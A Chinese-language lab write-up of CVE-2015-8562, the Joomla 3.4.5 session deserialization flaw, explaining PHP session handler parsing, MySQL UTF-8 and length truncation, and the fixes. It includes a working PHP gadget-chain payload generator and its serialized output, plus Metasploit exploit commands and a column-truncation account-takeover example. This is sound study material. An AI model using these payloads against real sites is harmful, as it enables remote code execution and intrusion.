CVE-2015-8562(Joomla 3.4.5 反序列化漏洞)

漏洞描述

本漏洞根源是 PHP5.6.13 前的版本在读取存储好的 session 时，如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。 而 Joomla 将 session 存储在 Mysql 数据库中，编码是 utf8，当我们插入 4 字节的 utf8 数据时则会导致截断。截断后的数据在反序列化时就会失败，最后触发反序列化漏洞。

通过 Joomla 中的 Gadget，可造成任意代码执行的结果。

影响版本

• Joomla 1.5.x, 2.x, and 3.x before 3.4.6
• PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

环境配置

• Vulhub 项目
• Docker-compose 启动

漏洞复现

漏洞存在验证

joomla 版本探测

Bash

search joomla type:auxiliary
use auxiliary/scanner/http/joomla_version

Success

谈测出 joomla 版本为 3.4.5，同样也可以看出 PHP 版本

PHP 版本谈测

Success

PHP 版本为 5.6.12

Success

joomla 和 PHP 版本符合 CVE 利用条件，我们直接利用

Note

将 UA 置空，得到网站返回的 cookie，记录下 cookie

Text Only

cookie：24b9cc57f504006fe83c10e80a01f835=3d546698a630fdd84a232af3d787792d;

PHP

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

echo "123}__test|{$poc}\xF0\x9D\x8C\x86";

CSS

123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
#𝌆编码为%F0%9D%8C%86

[! NOTE] 运行脚本，得到 poc

Note

带上 cookie，将 UA 的值设置为 POC 的值，但是我这里没有复现成功

• 可以使用网上的利用脚本
• rusty_joomla_rce/rusty_joomla_exploit.py at master · kiks7/rusty_joomla_rce (github.com)
• 也可以在 MSF 搜索利用模块

Bash

search cve:2015-8562
use exploit/multi/http/joomla_http_header_rce

漏洞原理

PHP 处理 session 反序列化机制

三种处理器

处理器	对应的存储格式
php	键名 ＋ 竖线 ＋ 经过 serialize() 函数反序列处理的值
php_binary	键名的长度对应的 ASCII 字符 ＋ 键名 ＋ 经过 serialize() 函数反序列处理的值
php_serialize (php >= 5.5.4)	经过 serialize() 函数反序列处理的数组

配置选项 session.serialize_handler

PHP 提供了 session.serialize_handler 配置选项，通过该选项可以设置序列化及反序列化时使用的处理器：

CSS

session.serialize_handler   "php"   PHP_INI_ALL

安全隐患

通过上面对存储格式的分析，如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同，会导致数据无法正确反序列化，通过特殊的构造，甚至可以伪造任意数据：）

CSS

$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';

例如上面的 $_SESSION 数据，在存储时使用的序列化处理器为 php_serialize，存储的格式如下：

CSS

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize，而是 php 的话，那么反序列化后的数据将会变成：

PHP

// var_dump($_SESSION);
array(1) {
  ["a:1:{s:4:"ryat";s:20:""]=>
  object(stdClass)#1 (0) {
  }
}

可以看到，通过注入 | 字符伪造了对象的序列化数据，成功实例化了 stdClass 对象：）

实际利用

Tip

当 session.auto_start ＝ On 时：

当配置选项 session.auto_start ＝ On，会自动注册 Session 会话，因为该过程是发生在脚本代码执行前，所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的，因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start ＝ On 时，销毁自动生成的 Session 会话，然后设置需要的序列化处理器，再调用 session_start() 函数注册会话，这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同，就会出现安全问题，如下面的代码：

PHP

//foo.php

if (ini_get('session.auto_start')) {
    session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本，并提交数据如下：

CSS

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据：

CSS

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时，PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据，这时如果 php.ini 里设置的是 php 处理器的话，将会反序列化伪造的数据，成功实例化了 stdClass 对象：）

这里需要注意的是，因为 PHP 自动注册 Session 会话是在脚本执行前，所以通过该方式只能注入 PHP 的内置类。

Tip

当 session.auto_start ＝ Off 时：

当配置选项 session.auto_start ＝ Off，两个脚本注册 Session 会话时使用的序列化处理器不同，就会出现安全问题，如下面的代码：

PHP

//foo1.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

//foo2.php

ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini 
session_start();

class ryat {
    var $hi;

    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

当访问 foo1.php 时，提交数据如下：

CSS

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据，访问 foo2.php 时，则会按照 php 处理器的反序列化格式读取数据，这时将会反序列化伪造的数据，成功实例化了 ryat 对象，并将会执行类中的 __wakeup 方法和 __ destruct 方法：）

漏洞利用点

这个漏洞存在于反序列化 session 的过程中。

漏洞存在于 libraries/joomla/session/session.php 中，_validate 函数，将 ua 和 xff 调用 set 方法设置到了 session 中（session.client.browser 和 session.client.forwarded）

PHP

<?php
protected function _validate($restart = false)
    {
        ...

        // Record proxy forwarded for in the session in case we need it later
        if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
        }

        ...
        // Check for clients browser
        if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
        {
            $browser = $this->get('session.client.browser');

            if ($browser === null)
            {
                $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
            }
            elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
            {
                // @todo remove code: $this->_state = 'error';
                // @todo remove code: return false;
            }
        } 

最终跟随他们俩进入数据库，session 表：

正常情况下，不存在任何问题。因为我们控制的只是反序列化对象中的一个字符串，不会触发反序列相关的漏洞。

但是，因为一个小姿势，导致后面我们可以控制整个反序列化对象。

Important

joomla 也没有采用 php 自带的 session 处理机制，而是用多种方式（包括 database、memcache 等）自己编写了存储 session 的容器（storage）

其存储格式为『键名 ＋ 竖线 ＋ 经过 serialize() 函数反序列处理的值』，其未正确处理多个竖线的情况。

那么，我们这里就可以通过注入一个 | 符号，将它前面的部分全部认为是 name，而|后面我就可以插入任意 serialize 字符串，构造反序列化漏洞了。

但还有一个问题，在我们构造好的反序列化字符串后面，还有它原本的内容，必须要截断。而此处并不像 SQL 注入，还有注释符可用。

但不知各位是否还记得当年 wordpress 出过的一个 XSS( http://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html )，当时就是在插入数据库的时候利用 "𝌆"（%F0%9D%8C%86）字符将 utf-8 的字段截断了。

这里我们用同样的方法，在 session 进入数据库的时候就截断后面的内容，避免对我们反序列化过程造成影响。

PHP 底层处理|机制

其实 L.N 的文章里已经可以看到原理了 http://bobao.360.cn/learning/detail/2501.html

• 在 php5.6.13 以前的版本里，php 在获取 session 字符串以后，就开始查找第一个|，然后用这个|将字符串分割成『键名』和『键值』。 用 unserialize 解析键值，解析结果作为 session。
• 在 php >= 5.6.13 版本中修复此问题，5.6.13 版本以前是第一个变量解析错误注销第一个变量，然后解析第二个变量，但是 5.6.13 以后如果第一个变量错误，直接销毁整个 session。

但如果这个 unserialize 解析失败，就放弃这次解析。找到下一个|，再根据这个|将字符串分割成两部分，执行同样的操作，直到解析成功。

所以，这个 joomla 漏洞的核心内容就是：我们通过𝌆字符， 将原本的 session 截断了，结果因为长度不对所以第一次解析|失败，才轮到第二次解析我传入的|，最后成功利用。

Important

所以，构造 session 出错，是这个漏洞成立的核心。

Question

所以，我们还能不能想到其他利用方法？

比如，我们可以用长字符（64k）串截断，来达成类似和𝌆字符截断一样的效果。

Mysql 截断问题

编码截断问题

问题发生的原因

• MYSQL 中 UTF-8 编码最多只能是 3 个字节（5.5.3 版本后，有 utf8mb4 类型可支持 4 个字节的 utf8）；
• utf8 是一种 1-4 个字节的可变字符编码（英文 1 个字符，汉字 3 个字符）;
• 某些特殊字符(emoji 表情符号等)是 4 字节的 utf8 编码;
• MYSQL 在遇到超过最大字节范围的字符时，会忽略其后面的字符串，从而导致内容丢失。

解决思路

• 升级 MYSQL 到 5.5.3 版本以上，并将字段的编码设置为 utf8mb4 类型；
• 通过程序，将字符串中 4 字节的 utf8 字符替换或者删除即可。

PHP

function removeByte4($str){
    return preg_replace('/[\xF0-\xF7].../s','', $str);
}

超长截断问题

mysql 超长字符截断又名为“SQL-Column-Truncation”。

在 mysql 中的一个设置里有一个 sql_mode 选项，当 sql_mode 设置为 default 时，即没有开启 STRICT_ALL_TABLES 选项或者 TRADITIONAL 选项或者加上的是 ANSI 选项时（MySQL sql_mode 默认即 default)，MySQL 对插入超长的值只会提示 warning，而不是 error，这样就可能会导致一些截断问题。

比如： 第一种：没有开启 STRICT_ALL_TABLES 选项或者 TRADITIONAL 选项

第二种：加上的是 ANSI 选项

在这里，username 为 varchar(5)，即最大规定长度为 5，而输入的值为 admsddsff，长度为 9，超过规定长度，可是并没有报错。通过查询可知被截断了。那么我们可以利用这个漏洞。 第一种和第二种都是如图这样的结果：

2.sql-mode

MySQL5.0 以上版本支持三种 sql_mode 模式：ANSI、TRADITIONAL 和 STRICT_TRANS_TABLES。

1、ANSI 模式： 宽松模式，更改语法和行为，使其更符合标准 SQL。对插入数据进行校验，如果不符合定义类型或长度，对数据类型调整或截断保存，报 warning 警告。对于本文开头中提到的错误，可以先把 sql_mode 设置为 ANSI 模式，这样便可以插入数据，而对于除数为 0 的结果的字段值，数据库将会用 NULL 值代替。

2、TRADITIONAL 模式： 严格模式，当向 mysql 数据库插入数据时，进行数据的严格校验，保证错误数据不能插入，报 error 错误，而不仅仅是警告。用于事物时，会进行事物的回滚。 注释：一旦发现错误立即放弃 INSERT/UPDATE。如果你使用非事务存储引擎，这种方式不是你想要的，因为出现错误前进行的数据更改不会“滚动”，结果是更新“只进行了一部分”。

3、STRICT_TRANS_TABLES 模式： 严格模式，进行数据的严格校验，错误数据不能插入，报 error 错误。如果不能将给定的值插入到事务表中，则放弃该语句。对于非事务表，如果值出现在单行语句或多行语句的第 1 行，则放弃该语句。

---

STRICT_TRANS_TABLES： 在该模式下，如果一个值不能插入到一个事务表中，则中断当前的操作，对非事务表不做限制。必须设置，以后各项可能依赖于该项的设置

---

NO_ENGINE_SUBSTITUTION： 如果需要的存储引擎被禁用或未编译，那么抛出错误。不设置此值时，用默认的存储引擎替代，并抛出一个异常

---

ONLY_FULL_GROUP_BY： 对于 GROUP BY 操作，如果在 SELECT 中出现的单独的列，没有在 GROUP BY 子句中出现，那么这个 SQL 是不合法的

---

NO_AUTO_VALUE_ON_ZERO： 该值影响自增长列的插入。默认设置下，插入 0 或 NULL 代表生成下一个自增长值。如果用户希望插入的值为 0，而该列又是自增长的，那么这个选项就有用了

---

NO_ZERO_IN_DATE： 在严格模式下，不允许日期和月份为零

---

NO_ZERO_DATE： 设置该值，mysql 数据库不允许插入零日期，插入零日期会抛出错误而不是警告

---

ERROR_FOR_DIVISION_BY_ZERO： 在 INSERT 或 UPDATE 过程中，如果数据被零除，则产生错误而非警告。如果未给出该模式，那么数据被零除时 MySQL 返回 NULL

---

NO_AUTO_CREATE_USER： 禁止 GRANT 语句创建密码为空的用户

---

PIPES_AS_CONCAT： 将“||”视为字符串的连接操作符而非或运算符，这和 Oracle 数据库是一样的，也和字符串的拼接函数 Concat 相类似

---

ANSI_QUOTES： 启用 ANSI_QUOTES 后，不能用双引号来引用字符串，因为它被解释为识别符 也可以在命令行查看和设置 sql_mode 变量

---

测试

新建一张表测试，表结构如下(mysql 5.1):

PHP

CREATE TABLE USERS(
id int(11) NOT NULL,
username varchar(7) NOT NULL,  //长度为7
password varchar(12) NOT NULL
)

分别插入以下 SQL 语句（注入提示消息）。

1.插入正常的 SQL 语句。

PHP

mysql> insert into users(id,username,password) values(1,'admin','admin');
Query OK,1 row affected (0.00 sec)  //成功插入，无警告，无错误

2.插入错误的 SQL 语句，此时的“admin ”右面有三个空格，长度为 8，已经超过了原有的规定长度。

PHP

mysql> insert into users(id,username,password) values(2,'admin   ' ,'admin');
Query oK,1 row affected,1 warning (0.00 sec)//成功插入，一个警告

3.插入错误的 SQL 语句，长度已经超过原有的规定长度。

PHP

mysql> insert into users(id,username,password) values(3 ,'admin   x','admin');
Query OK，1 row affected，1 warning (0.00 sec)//成功插入，一个警告

MySQL 提示三条语句都已经插入到数据库，只不过后面两条语句产生了警告。那么最终有没有插入到数据库呢?执行 SQL 语句查看一下就知道了。

PHP

mysql> select username from users;
+----------+
| username |
+----------+
|admin|
|admin|
|admin|
+----------+
3 rows in set (0.00 sec)

可以看到，三条数据都被插入到数据库，但值发生了变化，此时再通过 length 来取得长度，判断值的长度。

PHP

mysql> select length(username) from users where id =1;
+------------------+
| length(username) |
+------------------+
|  5|
+------------------+
1 row in set (0.00 sec)
mysql> select length(username) from users where id =2;
+------------------+
| length(username) |
+------------------+
|  7|
+------------------+
1 row in set (0.00 sec)
mysql> select length(username) from users where id =3;
+------------------+
| length(username) |
+------------------+
|  7|
+------------------+

可以发现，第二条与第三条数据的长度为 7，也就是列的规定长度，由此可知，在默认情况下，如果数据超出列默认长度，mysql 会将其截断。

但这样何来攻击一说呢?下面查询用户名为 'admin' 的用户就知道了。

PHP

mysql> select username from users where username= 'admin';
+----------+
| username |
+----------+
|admin|
|admin|
|admin|
+----------+

只查询用户名为 admin 的用户，但是另外两个长度不一致的 admin 用户也被查询出，这样就会造成一些安全问题，比如，有一处管理员登录是这样判断的，语句如下:

PHP

$sql = "select count(*) from users where username='admin' and password='*****'";

假设这条 SQL 语句没有任何注入漏洞，攻击者也可能登录到管理页面。

假设管理员登录的用户名为 admin，那么攻击者仅需要注册一个“admin “用户即可轻易进入后台管理页面，像某些著名的建站系统就被这样的方式攻击过。

预防方法

在 sql-mode 里加上 STRICT_TRANS_TABLES 或者 TRADITIONAL。 加上 STRICT_TRANS_TABLES 或者 TRADITIONAL 后，输入的数据超过规定长度就会报错，不能输入。

第一种：加上 TRADITIONAL

第二种：加上 STRICT_TRANS_TABLES

两种都是如下的结果：

Important

漏洞利用的关键点如下：

• joomla 处理 session 反序列化的机制
• session 设置的机制（包含 UA）
• Mysql 编码截断
• 对应版本 PHP 对 session 反序列化中|字符的处理方式

修复建议

Joomla 团队已经在后续的版本中修复了这个漏洞，并强烈建议用户升级到更高版本以确保安全性。升级到 Joomla 的最新版本或修复版本，以避免受到这个漏洞的影响